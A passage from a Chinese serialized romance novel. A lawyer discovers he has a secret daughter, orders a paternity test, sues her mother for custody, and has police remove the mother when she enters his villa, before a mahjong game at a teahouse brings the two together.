这一拳,离温昭宁特别近,贺淮钦挥拳的时候,她甚至以为他是要打她,她本能地闭上眼睛,发出一声短促的惊呼,但贺淮钦的拳头并没有碰到她,只是迅疾的拳风堪堪擦过她的耳廓,从她耳朵旁掠了过去。 狂暴的巨响后,细碎的尘土和墙皮簌簌落下,贺淮钦的手,也开始流血。 可他,像是已经感觉不到疼痛了,只有无尽的麻木。 温昭宁下意识地握住他流血的手去查看他的伤口,被贺淮钦狠狠甩开。 “为什么?为什么不告诉我!”他猩红着眼,发出的声音像是断弦的哀鸣,“温昭宁,你凭什么私藏我的孩子,凭什么让我的孩子喊别人爸爸,你把我当什么?一个不配知道自己骨肉存在的陌生人?” “不是的……”温昭宁蓄了一眼眶的泪,一摇头就落了下来,“不是你想的那样。” “那是怎样?”贺淮钦厉声逼问,“当年你把我丢垃圾一样丢弃,你知不知道我那几年是怎么过来的?如今我好不容易走出来了,你又告诉我,原来当年我们有一个孩子……温昭宁,你到底对我有多少秘密?你这样对我公平吗?对孩子公平吗?” 贺淮钦的质问,字字诛心。 可温昭宁不知道该怎么解释才好。 过去的一切太复杂了,像一团缠满了死结的乱麻,强行解开,只会让贺淮钦更痛,伤害贺淮钦更深。 况且,眼下解释清楚了又能怎么样? 贺淮钦和沈雅菁有婚约在身,她和他根本不可能有她想要的厮守。 既然注定没有结果,既然结局不会改变,既然她已经做了恶人,倒不如让她一直做这个恶人。 “对不起,是我对不起你。”她说。 “对不起?” 贺淮钦冷嗤。 他的真心,他的孩子,只换来她一句轻飘飘的对不起。 真可笑。 他因为在别墅找到一对袖扣,推掉重要的会议,跋山涉水来找她,以为会在她身上找到一点她爱他的证据,结果,他找到的都是她不爱他的证据。 温昭宁根本不爱他,所以她宁愿伤害自己的身体,也要吃下那颗双重保险的避孕药,她不爱他,所以明明有那么多机会可以告诉他青柠是他的女儿,她却依然选择将这个秘密烂在肚子里。 是他太天真了,还以为那些若有似无的依赖、那些失控的纠缠和片刻的温存,或许意味着什么,可其实,这些都没有意义。 每一次他以为的余烬复燃,在她眼里,或许就是一次无关紧要的肉体慰藉。 他来这一趟,只证明了一件事,那就是,温昭宁是这个世界上最狠心的女人。 “温昭宁,我恨你!我这辈子都不会再原谅你!” 第75章 亲子鉴定 贺淮钦最后的那句话,像一把烧红的匕首,刺进温昭宁早已千疮百孔的心。 他说完,摘下温昭宁送他的那对袖扣。 这对袖扣,他曾形影不离地带在身边,可现在,贺淮钦将它们用力扬了出去。 袖扣脱手,在空中划出两道短促而决绝的弧线,“叮、当”两声脆响后,不偏不倚地落在了温昭宁的脚边。 贺淮钦头也不回地走了。 温昭宁的世界,仿佛在他离去的那一瞬间,被彻底抽空了所有声音、所有颜色和所有支撑。 她靠着门框,软软地滑坐到地上。 那对袖扣,就躺在温昭宁的脚边,温昭宁缓缓伸出颤抖的手,可她刚触到其中一枚袖扣,它立刻碎得四分五裂。 所有好的、坏的、甜蜜的、伤人的、温暖的、冰冷的记忆碎片,在这一刻,仿佛都随着这颗袖扣的彻底碎裂,被无情地碾碎,再也拼凑不出一个完整的曾经。 就像他们的感情,从六年前分手的那一刻,就已经有了第一道裂痕,重逢后每一次失败的修补,都让这道裂痕越来越深。 而现在,碎了。 彻底的碎了。 温昭宁所有强撑的堤坝,彻底崩溃。 她呜咽着哭出声来,双手胡乱地想要去拢住那些散落一地的碎片,仿佛这样就能挽回什么,可她的指尖刚一碰到这些锋利的碎片,就被划出细小的口子,渗出血珠。 “碎了……碎了……”她语无伦次地呢喃着,眼泪如同决堤的洪水,“都碎了……” 温昭宁的哭声在院子里回荡着,姚冬雪听到哭声,丢了菜篮子就跑进来找她。 “宁宁!宁宁!怎么了?” 姚冬雪冲进院子,看到温昭宁伏在地上痛哭,心猛地一沉。 她的女儿,从小要强,这些年受了多少委屈多少苦,也都是咬牙自己咽,可此刻,她像是被抽去了筋骨,捧着那一堆碎片,哭得上气不接下气。 “他对你动手了?”姚冬雪看到门框上的血迹,“他打你了?” 温昭宁摇头:“他没有打我。” “那着血迹……” “是他自己的。” 就这两句话,姚冬雪已经完全可以想象刚刚发生了什么。 “妈……他说他恨我……他说这辈子都不会再原谅我……”温昭宁语无伦次地哭着,声音含糊不清,“碎了,一切都碎了……” 姚冬雪没有多问什么,她只是紧紧地抱住她的女儿,手掌温柔地拍抚着她的脊背,脸颊贴着她汗湿的额头,不断地在她耳边重复一句话:“宁宁,不怪你,不怪你,妈妈知道,这几年你比谁都不容易,不怪你,你哭出来就好了,大声地哭出来……” “妈,我的心好痛……好痛……” “妈妈知道,一切都会过去的,一切都会好起来的。” -- 贺淮钦从温昭宁家离开后,立刻开车去了青柠的幼儿园。 他必须马上见到青柠。 那种迫切感,几乎将他点燃。 之前青柠生病,贺淮钦和温昭宁一起去幼儿园接过孩子,他记得路线,很快就找到了幼儿园。 贺淮钦将车停在幼儿园的路边,迫不及待地冲到了幼儿园的大门前。 他通过铁艺大门的栏杆缝隙,朝里面张望,这个点操场上空无一人,只有风吹过旗帜,发出轻微的猎猎声。 门卫室的保安看到了贺淮钦,端着保温杯走出来。 “你找谁?”保安打量了一眼这个衣着考究的陌生男人,发现他手背上有明显的血迹后,保安立刻放下保温杯,拿起警棍,眼神里充满了警惕,“你想干什么?” “我找大班的温念初。” 青柠原本叫陆念初,离婚后,温昭宁就把孩子改成了和她姓。 “你找温念初?你是谁啊?” “我是她……” “爸爸”两个字在舌尖滚了滚,却突然卡住了,他有什么资格说自己是孩子的爸爸,六年的缺席,孩子根本不知道他的存在。 一股涩然堵住了贺淮钦的喉咙。 “我是温念初的家长,我要见她,能不能麻烦你让我进去?”贺淮钦说。 “家长?温念初的外婆我认识,她平时都是外婆和妈妈接送,我从来没有见过你。而且,现在也不是入园时间,孩子们都在午睡,你要是真的有什么急事的话,你就直接联系老师,让老师把她带出来,或者,你就等放学。” 联系老师? 贺淮钦根本没有老师的联系方式。 等放学? 不,他根本等不了一点,他恨不得现在就翻过这道铁门,但保安有他的职责所在,贺淮钦也理解。 贺淮钦冷静了一下,从手机里翻出一个号码,拨过去。 那头很快传来一声恭恭敬敬的“您好,贺先生”。 “蒋镇长,我有件事情想麻烦你帮个忙。” “贺先生客气了,您说您说。” “我现在在镇中心幼儿园的门口,有件急事,需要立刻见一下大班一位叫温念初的孩子,麻烦你,让园长带她出来一下。” “好好好,您稍等,我马上安排。” 十分钟后,园长牵着青柠走了出来,她一遍示意保安开门,一遍对贺淮钦挤出一个客套又紧张的笑容。 “您好,您就是贺先生吧,请问您和……” 园长话还没问完,青柠已经朝贺淮钦飞奔过来了:“贺叔叔,你怎么来了?” “我来看看你。” 园长见青柠和贺淮钦确实很熟的样子,放松了警惕。 “那你们聊,我在门卫室等你们。”园长说。 “好,谢谢。” 贺淮钦拉着青柠走到树荫下。 青柠大概是刚刚午睡被叫醒,小脸红扑扑的,头发有些凌乱。她穿着有些宽大的园服,眨巴着眼站在那里,像个可爱的洋娃娃。 贺淮钦蹲下来,目光牢牢地吸附在青柠身上,一丝一毫也无法挪开。 这是他的孩子,他的女儿。 贺淮钦感觉一股不真实的甜意,从心脏深处涓涓涌出。 这是他的血脉,是他和温昭宁共同创造的生命,此刻就活生生地站在他的面前,呼吸着,望着他。 他几乎想要立刻将她抱起来,举高高,感受一下她真实存在的重量。 可紧随其后而来的,是更汹涌也更沉重的内疚,这么多年,他错过了她的孕育,错过了她的第一声啼哭,错过了她的蹒跚学步,错过了她的牙牙学语,错过了她那么多那么多成长的瞬间。 这么一想,他更恨温昭宁了。 当然,他也恨自己。 恨自己为什么如此迟钝,恨自己为什么没有早点发现青柠的五官之间其实藏了很多他的痕迹。 “贺叔叔,你怎么啦?”青柠看到了贺淮钦眼睛里的水光,关心地问:“贺叔叔你哪里不舒服吗?” 贺淮钦很想告诉青柠,他不是叔叔,他是爸爸。 可是,他暂时还不能。 青柠太小了,如果他贸然把这个消息告诉她,她会怎么想?她又该怎么一个人去消化? 他不能把他的迫切这样加诸在这个毫无准备的无辜孩子身上,青柠需要一个过程,也需要他用行动去证明、去弥补,去获得被她认可和接纳的资格。 “我没有不舒服。”贺淮钦回答。 “你骗人。”青柠伸出自己的双手,握住贺淮钦的手腕,“叔叔,你的手都受伤了。” “没事,小伤而已。” “可是都流血了。” 青柠低头,嘟着粉嫩嫩的嘴唇,用力地朝贺淮钦的手背吹气。 “呼——” “呼——” “呼——” 她一边吹,还一边软糯糯地念叨着:“妈妈说,吹吹痛痛就飞走了,吹吹就不痛了,叔叔不怕哦……” 孩子温热的气息,带着清甜的糖果香,轻轻拂过贺淮钦的皮肤。 他低头,看着青柠毛茸茸的发顶,看她因为用力吹气而微微鼓起的脸颊,他的心柔软得不像话。 “青柠,我可以抱抱你吗?”贺淮钦开口。 “当然可以啊。”青柠立刻张开双臂,抱了抱贺淮钦。 孩子小小的身体贴过来时,贺淮钦眼眶越发湿润。 他回抱住青柠,连呼吸都放得极轻极缓,生怕惊扰了这一刻。 “叔叔,你今天到底怎么了?”青柠敏锐地察觉到贺淮钦过于沉重的情绪,“你是不是不开心?” “没有,我很开心,因为我今天多了一个宝贝。” “什么宝贝?” “最珍贵的宝贝。” 青柠似懂非懂:“那恭喜叔叔啦,希望叔叔开心点。” “好。”贺淮钦松开了青柠,对她说,“青柠,我今天就要回沪城了。” “啊?”青柠小脸一耷拉,“为什么啊?” “因为我在那边还有很多工作要处理,不过我答应你,等我忙完了,很快就会来看你。” 青柠有点难过,但还是乖乖地点点头:“那你一定要来看我哦。” “好,一定。” 贺淮钦把青柠送回园长手里,看着她的小背影消失在幼儿园的走廊,他才转身离开。 上车后,贺淮钦将手上捏着的那根细软的发丝装进文件袋。 那是刚才他从青柠衣服上取下来的。 他当然确信青柠就是他的女儿,但是,他需要一份更权威的、更具有法律效力的凭证,去争取自己作为父亲最基本的权利。 贺淮钦拨通了陈益的电话。 “喂,贺律。” “安排车子,我今天回沪城,另外,找一个信得过的机构,做一份亲子鉴定。” -- 温昭宁原本就虚弱的身体,在过度的情绪消耗后,彻底倒下了。 她发了两天烧,在家浑浑噩噩睡了两天。 两天之后,她退烧了,虽然人还是没什么精神,但是,她知道自己应该起来了,民宿还有很多事情需要处理,母亲也会担心。 成年人的悲伤,都是有时间限制的。 温昭宁换下皱巴巴的睡衣,洗了个头吹干,对着镜子整理了一下仪容,就下楼去。 母亲正在厨房忙活,见她起来,什么都没有说,只是喊她吃包子。 “青柠今天早上说要吃大肉包子,我给她做了,你也来尝尝。” “好。”温昭宁其实吃不下,但她还是拿了一个,一边咬一边说,“我去民宿了。” “好。” 民宿这两天都是边雨棠在守着,一切井然有序,不过这次的事情后,温昭宁想着还是得再招一个人。 平时没什么事还好,一旦她们有谁生病或者有突发情况,这点人手实在转不过来。 她决定等边雨棠过来之后,再和她商量一下。 “昭宁姐,你还好了吧?”鹿鹿正在院子里给花花草草浇水,看到她进来,立刻放了手里的水壶,朝她走过来。 “好多了。” “好了就好,不过我看你得锻炼了,最近动不动就生病,体质太差了。” 温昭宁笑了笑,问她:“这两天民宿有没有什么事情发生?” “也没什么事,哦,对了,说起来,贺先生提前退房了。”鹿鹿跟着温昭宁走进大厅,翻出记事本上的记录,“他是两天前退房的,当时好像很着急,说走就走了,我都来不及把他多余的房费和押金退还给他,他就已经上车离开了。” “有多少?”温昭宁问。 “剩余的房费加上押金一共一千五。我尝试联系贺先生,但是他没有接我的电话,昭宁姐,你有贺先生的微信的吧,要不,你直接微信上转给他?” 温昭宁沉默了一下,她不想再和贺淮钦有任何不必要的联系,但是,不该收的钱不能多收,这是民宿的规矩。 “好的,我转给他。” 温昭宁拿出手机,解锁屏幕,点进贺淮钦的微信头像。 他们上一次联系,还是他在国外出差,她问他什么时候回来,想去机场接机,但是,他没有回复。 因为那天,他提前回来了,作为她的惊喜。 明明几天前,他们还那么甜,可转瞬之间,一切就都成了泡影。 温昭宁盯着贺淮钦的头像看了几秒,然后点开了“转账”。 输入金额:1500.00。 附加信息:预付房费与押金退回。 温昭宁犹豫了一下,还是按了确认键,信息发送的瞬间,屏幕中间没有任何缓冲地弹出一个系统默认的提示框。 “消息已发出,但被对方拒收了。” 下面还有一个更小的灰色提示:开启好友验证,你还不是他(她)的朋友…… 温昭宁的手指,僵在了半空。 所有的动作和所有的思绪,都在这一刻被按下了暂停键。 她怔怔地看着那两行字。 贺淮钦把她拉黑了! 在她试图退还这一千五百块,试图划清最后一点经济上的纠葛之前,他已经先一步,用最直接最不留余地的方式,将她从他的通讯列表里彻底地删除了。 果然,他的“恨”和“不原谅”不是说说而已,他是真的要将她,连同关于她的一切,从他的世界里彻底清除。 也好,这样也好。 第76章 密码没换 温昭宁最后把这一千五百块钱转给了陈益,让他转交给贺淮钦。 陈益倒是秒回:“温小姐为什么不直接转给贺律?” 温昭宁:“我没有他的联系方式。” 陈益有点摸不着头脑。 这对话何其熟悉啊! 先前温小姐住院,也是通过他把住院费和车费转交给老板,后来没几天,老板就自己变着法地主动去加温小姐的微信,怎么这会儿又没有联系方式了? 陈益:“温小姐,你把贺律删了?” 温昭宁:“他删的我。” 陈益顿时不敢再多问,他赶紧收下那一千五百块,回复了一个收到。 贺淮钦从外面见完客户回律所,就把陈益叫进了办公室,正好,陈益当面把那一千五百块钱转给了贺淮钦。 “贺律,这是温小姐托我转给你的,说是退回你在民宿预付的房费和押金。” 贺淮钦看了一眼,没有收,按了退回:“请大家喝咖啡,不够再申请。” “好的,贺律。” “亲子鉴定报告出来了吗?” “出来了。”陈益指了指桌上还未拆封的那份文件,“我中午收到的,给你放桌上了。” 贺淮钦拆开文件看了一眼,结果毫无悬念,白纸黑字,加盖着权威机构的红章,冰冷而确凿地证明了他和青柠之间的生物学父女关系。 “你拿着这份亲子鉴定,去找李律师,让他准备一下这个抚养权官司,以最快的速度向法院递交起诉状。” 陈益扫了一眼亲子鉴定书,作为助理,他本不该对老板的决定提出任何质疑,但这件事情牵扯到孩子,牵扯到温小姐,更牵扯到老板这两天极其不对劲的情绪状态,他觉得自己有责任再确认一次。 “贺律,孩子的抚养权,你真的要争吗?” 贺淮钦正在签字的钢笔一顿,他抬眸看向陈益,眼神里只有不容置疑的冰冷和坚定。 “争。” 一个字,又冷又硬,掷地有声。 他一定要得到青柠的抚养权,让温昭宁那个狠心的女人也尝一尝,和孩子分离的滋味到底怎么样。 陈益看懂了贺淮钦的坚决,不再多言。 “是,贺律,我立刻去办。” -- 温昭宁以为,贺淮钦的离开,他决绝的“恨”和“不原谅”,以及联系方式的拉黑,就是他们这个故事最终的句点。 从此,桥归桥,路归路,他回沪城和沈雅菁订婚,而她在悠山,守着她的民宿和女儿,那些纠葛、伤痛和不堪的回忆,最终都会被时间掩埋。 可没想到的是,原来他恨她的序章,才刚刚拉开。 贺淮钦离开的第十天,她收到了邮差送来的印着法院徽标的司法专递信封。 温昭宁签收后打开,里面是几份装订整齐的文件,最上面一页,是抬头威严的《应诉通知书》和《举证通知书》,下面,则是那份核心文件《民事起诉状》。 原告是贺淮钦,被告是温昭宁,案由是变更抚养关系纠纷。 变更抚养关系…… 温昭宁的手瞬间就颤抖起来。 贺淮钦起诉了,他要和她抢青柠! 起诉状上,详细陈述了贺淮钦和温昭宁曾经的关系,强调了亲子鉴定报告确认贺淮钦和温念初的父女关系,控诉温昭宁单方面隐瞒孩子存在长达六年,剥夺了贺淮钦作为父亲的知情权和抚养参与权,可能对孩子的身心健康造成潜在影响。进而,为了保障未成年人温念初的最大利益,请求法院依法判令,变更温念初的抚养关系,由贺淮钦进行抚养…… 温昭宁跌坐在椅子上,手中的文件滑落在地上,她都没有力气去捡。 法院的传票,一下击穿了她“一刀两断”的幻想。 她以为的结束,原来,只是贺淮钦另一种形式的开始。 也是,以贺淮钦如今的声望地位,在得知青柠的身世后,怎么可能只是悄无声息地离开? 他不止恨她,不止不原谅她,他还要狠狠地报复她。 这是一把精准瞄准了她心脏要害处刺来的刀。 她可以承受他的报复,但她真的不能失去青柠。 青柠是她怀胎十月用半条命换来的宝贝,是她熬过无数艰难日夜的小小精神支柱,女儿不仅赋予了她“母亲”的身份,更赋予了她超越自身软弱和恐惧的勇气和力量。 她是她的命。 贺淮钦在律政界司法界都拥有极强的人脉关系,温昭宁不敢想象,万一法院真的判决变更抚养权,青柠被贺淮钦带走,那她该怎么办? 恐惧像是冰冷的潮水,一遍一遍冲刷着她。 这些年,她失去了太多太多,但她从未想过,有朝一日可能会失去青柠。 不行。 她绝对不能失去青柠。 -- 温昭宁当天晚上就收拾了行李,准备去沪城找贺淮钦,求他不要和她抢青柠。 她怕母亲姚冬雪担心,没有把这件事情告诉母亲,只说去沪城出差。 第二天一早,温昭宁就去了沪城,到达沪城后,她先去酒店放了行李,然后打车去了贺淮钦的律所。 也不知道她算运气好,还是运气不好,她刚到律所,正好碰上贺淮钦一行人要出门。 贺淮钦今天穿着一身深色的戗脖领西装,内搭挺括的白衬衫,系着一条暗银色条纹领带,整个人挺拔利落,气场凛然。 他走在中间,其他人自然地跟在他的身侧稍后。 陈益最先看到了温昭宁,他快步追上贺淮钦,似乎是在向贺淮钦汇报,可贺淮钦没有任何反应,也没有朝温昭宁的方向看过来,他继续目不斜视地往前走,直到上车,都没有看她一眼。 “贺律师,请等一下……”温昭宁想冲上去。 陈益闻声,连忙转过头来,朝她比了一个抹脖子的动作,示意她千万不要上前。 温昭宁被骇了一骇,立在原地,没动。 贺淮钦坐的那辆幻影很快开走了,陈益折回来,走到温昭宁的面前。 “温小姐,你怎么来了?” “陈助理,我找贺律师有事,他去哪里?” “贺律师他们有个会。” “他什么时候有空,我想找他聊一聊。” “温小姐,贺律刚上车的时候交代了,他不见你,他说有什么事,可以通过律师沟通。” “我想和他当面谈谈。” 陈益面露难色地摇头:“温小姐,实不相瞒,贺律对争夺念初小姐抚养权这件事情态度非常坚决,他这次是动了真格的了,你找他也没有用。” 温昭宁心想,她就是知道贺淮钦动真格了,才会跑来找他求情,否则,他和他硬碰硬,又有什么胜算? “贺律师几点回律所?” “他今天不会回来了。” “那明天呢?” “明天我也不确定,这几天贺律师的行程都是他自己安排的。” 温昭宁知道,陈益作为贺淮钦的特助,能和她坦诚到这个份上,已经很不容易了。 “谢谢陈助理。” “不客气。” 温昭宁在律所碰壁后,回到了酒店,可到了酒店,她还是心绪难平,坐立不安。 晚上,她决定再去之前她和贺淮钦同居的别墅碰碰运气。 她不确定贺淮钦是否还住在那里,或许,他早已经搬走了,可是,那是她能见到他唯一的希望了。 温昭宁打车来到她曾经居住过的别墅,一下车,她就看到别墅里面亮着灯,不是灯火通明的那种亮,只是二楼书房和一楼客厅,透出几团暖黄的光晕。 二楼书房,是这个家里贺淮钦最常待的地方。 看来,他真的还住在这里! 温昭宁立刻跑去门口按门铃,可是,门铃响了很久,都没有人来开门。 是他不在? 还是他知道是她,所以不愿见? 怎么办?到底该怎么才能见到他? 温昭宁正焦灼,忽然瞥见了大门旁嵌入墙体的密码锁。 密码…… 这都大半年了,贺淮钦应该已经早就换过了吧,说不定,连门锁都早已升级了。 想是这么想,可她的手还是不自觉地伸出去试着按下了那八个数字,他和她生日的组合。 “嘀嘀,咔哒——” 一声清晰无比的锁舌弹开的轻响。 门竟然开了! 密码没换。 这半年多,他保留了这里的密码,保留了这个带着他们共同记忆的密码。 是忘了换?还是用顺手了懒得换? 温昭宁提醒自己,人家要订婚了,千万不要再自作多情。 大门开了一条缝儿,像一个无声的邀请,又像一个深不可测的陷进。 温昭宁站在明暗的交界处,心跳如雷。 该进去吗? 她知道自己现在已经和贺淮钦没有关系了,这样贸然闯进去,肯定不合适,但为了青柠,她龙潭虎穴都愿意去闯一闯,更何况是这个她住了一年多早已熟悉的房子。 温昭宁咬了咬牙,推开了那扇厚重的实木门,轻手轻脚地穿过庭院,朝着客厅里那团明亮的光源走去。 客厅的一切都没有什么变化,沙发上随意搭着一件男士西装外套,岛台上放着一瓶喝了一半的威士忌,还有,柜子上多了一张贺淮钦抱着青柠和小马驹的合照。 那是青柠生日那天,温昭宁给他们拍的。 她的心猛地一沉。 就在这时,楼梯上传来了脚步声。 温昭宁抬起头,旋梯上,贺淮钦正款步下来。 他穿着深灰色的家居服,戴着眼镜,看到站在客厅里的温昭宁,脚步丝毫没有停顿,也没有露出任何惊讶的表情,仿佛她的出现,早在他的意料之中。 温昭宁猜,早在她按门铃的时候,贺淮钦已经从监控中看到她了。 “贺律……” “谁让你进来的?”他的声音冷淡,眼神更冷淡。 “我……密码……” “密码没换,不代表你可以随意闯入。”贺淮钦走到岛台边,给自己倒了一杯酒,“这是我的私人住宅,你知道私闯民宅,是什么性质吗?” “我知道,但是我找你……” “我已经报警了。”贺淮钦打断她的话。 “报警?” “是的,警察马上就会到。”他倚在岛台边,漫不经心地喝着酒,“擅闯民宅,毫无悔意,你这种人,就该进局子好好反省反省。” 贺淮钦话音刚落,警笛声就由远及近,红蓝闪烁的光从别墅宽大的落地窗里透进来。 来得这么快? 这出警效率,让她逃都来不及。 贺淮钦走过去开门。 两名穿着制服的警察走了进来,一老一少,神情严肃。 “谁报的警?”年长的警察问。 “是我。”贺淮钦侧身让警察进门,指着温昭宁说,“这位女士,在没有得到我任何允许的情况下,私自闯入我的住宅,我怀疑她有偷窃意图。” 偷窃? 年轻的警察拿出记事本,走到温昭宁面前,先打量了她一眼。 这女人长得非常漂亮,穿着也很得体,看起来不像是会有偷窃行为的样子,但是,这年头社会节奏快,压力无形,很多外表看起来正常的人,精神早就出了问题,人不可貌相。 “叫什么名字?”年轻的警察问。 贺淮钦不等她回答,又补充一句:“另外,我怀疑她可能是个惯偷,不是第一次有这种行为。” 惯偷? 温昭宁抬起头,难以置信地看着贺淮钦,他在胡说八道些什么? “贺律师,你可以说我私闯民宅,我无话可说,但你不要随便给我扣罪名。” “我没有随便给她扣罪名。”贺淮钦对警察说,“她曾在我这里偷过一件非常重要的东西。” “非常重要的东西具体是什么东西?”年轻的警察记录着,“价值多少?什么时候发生的?” 贺淮钦没有马上回答,他的目光紧锁着温昭宁。 温昭宁感觉到一阵荒谬的愤怒和委屈,她什么时候偷过他的东西? 离开这里的时候,她除了自己的随身物品什么都没有带走,他那些昂贵的手表、古玩收藏、资产文件……她连碰都没有碰过。 这次在悠山分手,若不是他走得急,他从国外给她带回来的礼物,给她母亲带回来的礼物,她同样都会退给他,不会留下一件。 她从小衣食无忧,该享受的都享受过了,根本不会再去贪图什么物质,也不会想要在他身上占一丝便宜。 “警官,我从来没有偷过他任何东西,他这是在污蔑!” “污蔑?”贺淮钦扯了下唇角,那弧度没有任何笑意,只有冰冷的嘲讽,“温昭宁,你摸着你的良心说,你真的没有?” 第77章 孩子都会打酱油了 他上前一步,逼近她,目光如刀。 “你偷走了我的女儿,偷走了我作为父亲的权利,偷走了我和我女儿六年的相处时光!” 温昭宁所有急于辩驳的话,这一刻全都凝在了喉咙里。 原来,贺淮钦说的偷东西,指的是这个,如果是指这个,那她无话可说。 两位警察察觉到了这对男女之间不同寻常的纠葛。 年长的警察皱着眉头,看了看贺淮钦,又看了看温昭宁,沉声道:“你们两位如果有其他民事纠纷或者家庭矛盾,建议你们通过法律途径解决。” “已经在通过法律途径解决了,所以我更加难以理解,这位女士突然闯进我家里的意图。”贺淮钦一本正经的,“我平时一个人住,这位女士今天的行为给我造成很大的心理阴影,请两位警官一定要严肃处理,避免这样的事情再发生。” 温昭宁:“……” 真是无语,听他委屈巴巴的口吻,好像她要对他做什么似的。 他190的体格,人高马大,她又能对他做什么? 年长的警察思索了一下,转头对温昭宁说:“这位女士,无论如何,你今晚非法闯入的事实存在,请先跟我们回派出所配合调查,做个笔录。” 温昭宁也别无选择,只能点头同意。 两位警察将她带出了贺淮钦的别墅,贺淮钦毫不留情地关上了大门。 温昭宁坐上了警车,这还是她头一次坐警车,她看着窗外城市夜景飞速倒退,只觉得一切都好荒诞。 一个小时前,她还想着孤注一掷,见到贺淮钦,哪怕放下所有尊严,只为求他看在孩子的份上,不要和她打争夺抚养权的官司。 她以为最坏的结果,无非是被他冷言拒绝,或者被他羞辱,被他轰出大门,她万万没想到,事情会发展成现在这样。 -- 最后是苏云溪赶到警察局将温昭宁保释出来,她才免去了在警察局过夜的尴尬。 车上,苏云溪还是觉得难以置信。 “真的是贺淮钦报警抓你?” “是的。” “他怎么这么损啊?你俩不是都分手了吗?” 温昭宁把贺淮钦去民宿找她,两人短暂复合又彻底分手的事情告诉了苏云溪。 “什么?你是说贺淮钦知道青柠是他的女儿了?他要和你抢青柠?” 温昭宁低落地“嗯”了一声。 “这个狗男人竟然要和你抢孩子!”苏云溪义愤填膺地拍了拍方向盘,想了想又说,“不过也是,青柠这么可爱这么暖心的小女宝,如果换了是我,我也想抢来留在自己身边,天天看着心情都好。” “溪溪!” “哎哟,我就感慨一下,姐妹当然无条件支持你啊!”苏云溪看了眼温昭宁,“所以你接下来想怎么做?” “我当然还是希望和贺淮钦好好沟通一下,尽量能不打官司就不打官司,可是,我现在见他一面都难,好不容易见上了,话都没来得及说,就直接被他送上警车了。” “你要见他聊聊,我倒知道有个地方,一定能和他说上话。” “哪里?” “西城茶庄。” -- 西城茶庄最深处的雅间,临着一方小小荷塘,虽然已是深秋,但残荷也别有一番枯寂的韵味。 雅间内,暖意融融,上好的银炭在仿古铜炉里静静地燃着,空气里浮动着极品岩茶“肉桂”特有的香气。 贺淮钦坐在临窗的紫檀木圈椅里,身上只穿了一件黑色的羊绒衫,少了平日西装革履时的冷硬疏离,却多了一份沉郁的倦怠。 他和邵一屿、霍郁州还有周时安他们在打麻将。 今天的贺淮钦一直赢,已经把牌桌上另外三人的筹码全都吸干了。 “怎么回事啊?”霍郁州嘴角噙着一抹似笑非笑的弧度,“按照‘情场得意,赌场失意’这条定律反推,贺大律师最近感情是不是不太顺啊?” 贺淮钦神色淡淡的,他慢条斯理地洗着牌,也不接话。 “谁说他情场失意的?”周时安瞥贺淮钦一眼,“我听说他孩子都有了,我们哪个有他牛?” 沪城圈子就那么大,桌上几个又个个都是百事通,贺淮钦在争抚养权这点动静,自然瞒不过他们。 “说起孩子,我最近都被家里催死了。”霍郁州语气带着一种熟稔的调侃,“还是淮钦命好,眼睛一睁一闭,孩子都会打酱油了。” 果然最亲近的人最了解刀子往哪里捅最痛。 “我还听说,贺大律师昨晚报警,把孩子妈抓起来了,控诉她偷孩子。” “真的假的?” “当然是真的。” “贺大律师这是兔子急了瞎咬人啊。” 三人当着贺淮钦本人的面蛐蛐个不停。 贺淮钦终于忍不住抬眸:“你们三个用嘴打麻将?” 三人不说话了。 过了一会儿,霍郁州的手机响了。 是苏云溪打来的。 “我接个电话。”霍郁州说。 “哦豁,老婆查岗。”周时安笑。 “她从来不查岗。” “那你信任你?还是懒得搭理你啊?” 霍郁州对桌上的三人比了个“嘘”的手势,把电话接起来:“喂?” 那头的苏云溪不知说了什么,霍郁州站了起来,往窗外看了一眼:“行,你在那里等一下,我让人带你进来。” 霍郁州挂了电话,示意茶庄的工作人员去把人接进来。 周时安看着霍郁州:“你还说不是查岗,这都找上门来了。” 霍郁州意味深长地看一眼贺淮钦,醋巴巴地说:“又不是找我。” -- 两分钟后,苏云溪带着温昭宁走进了包厢。 “哈喽!你们在打麻将呀!”苏云溪走到霍郁州身边,假模假样替他整理了一下上衣,“老公,我刚好路过,听说你在这里,就进来看看你。” 霍郁州眼眸一闪。 这是苏云溪第一次替他整理衣服,也是第一次喊他“老公”,虽然知道自己是个工具人,但感觉还不错是怎么回事。 桌上几人都看着苏云溪,只有贺淮钦的目光落在了苏云溪后方的温昭宁身上,只不过,他的目光仅匆匆掠过,和看一个误入镜头的路人无异。 “哎哟,这不是贺律师吗?”苏云溪在和霍郁州装完恩爱后,就把注意力转向了贺淮钦。 贺淮钦抬眸,冲苏云溪点了下头,算是打招呼。 若不是给霍郁州面子,苏云溪在贺淮钦这里自然也会遭到无视,今天得亏了霍郁州也在场。 “贺律师,这是我好姐妹宁宁。”苏云溪把温昭宁拉到自己的身边,笑吟吟对贺淮钦说,“听说宁宁昨晚去找你,你们两个之间产生了些误会,今天真巧啊,你们又遇到了,要不,贺律师给个机会,和宁宁好好聊聊,化解一下昨晚的误会呗。” “没必要。”贺淮钦冷冷地吐出三个字。 “贺律师,你别这样,大家都是朋……” “麻将还打吗?”贺淮钦打断了苏云溪的话,扫了眼霍郁州他们,“要是不玩,我就先走了。” “哦,原来贺律师是想打麻将啊。”苏云溪拍拍温昭宁的胳膊,“正好,我们宁宁可是打麻将高手,这样吧,宁宁坐下来玩一局,要是宁宁赢了,贺律师就给宁宁十分钟时间单独聊聊,怎么样?” 苏云溪说罢,朝霍郁州使了个眼色。 霍郁州秒懂:“正好,我坐久了不舒服,温小姐替我的位置玩一局,我松快松快。” 贺淮钦冷嗤:“才坐了半个小时霍总就不舒服了,霍总这是腰不好吧?” 霍郁州为了帮忙,白白被扣上了腰不好的帽子,他扭头看向苏云溪,苏云溪立刻挽住了霍郁州的胳膊,大声为他正名:“谁说我老公腰不好的,我老公腰可好了呢!” 老婆第一次夸他腰好。 这可把霍郁州美死了,每天晚上,没白忙活。 “行了行了,你俩别在这里秀恩爱了。”邵一屿朝霍郁州挥挥手,“赶紧让开,让温小姐坐下。” “对对对。”周时安跟着附和,“我倒要看看,麻将高手是怎么个水平。” 温昭宁其实根本不是什么麻将高手,她的麻将水平也就一般般,她知道,苏云溪这是实在没招了,才会出此下策。 万一呢。 万一温昭宁今天手气好。 -- 温昭宁坐下了。 贺淮钦并没有驱赶她或者提出异议,这就意味着他默认了苏云溪刚才那个提议,只要温昭宁能赢,他就会给她十分钟。 温昭宁有点紧张。 麻将局就在这诡异的气氛中,重新开始了。 洗牌、砌牌、抓牌……清脆的碰撞声在雅间里回荡着,每一声都敲打在温昭宁紧绷的神经上。 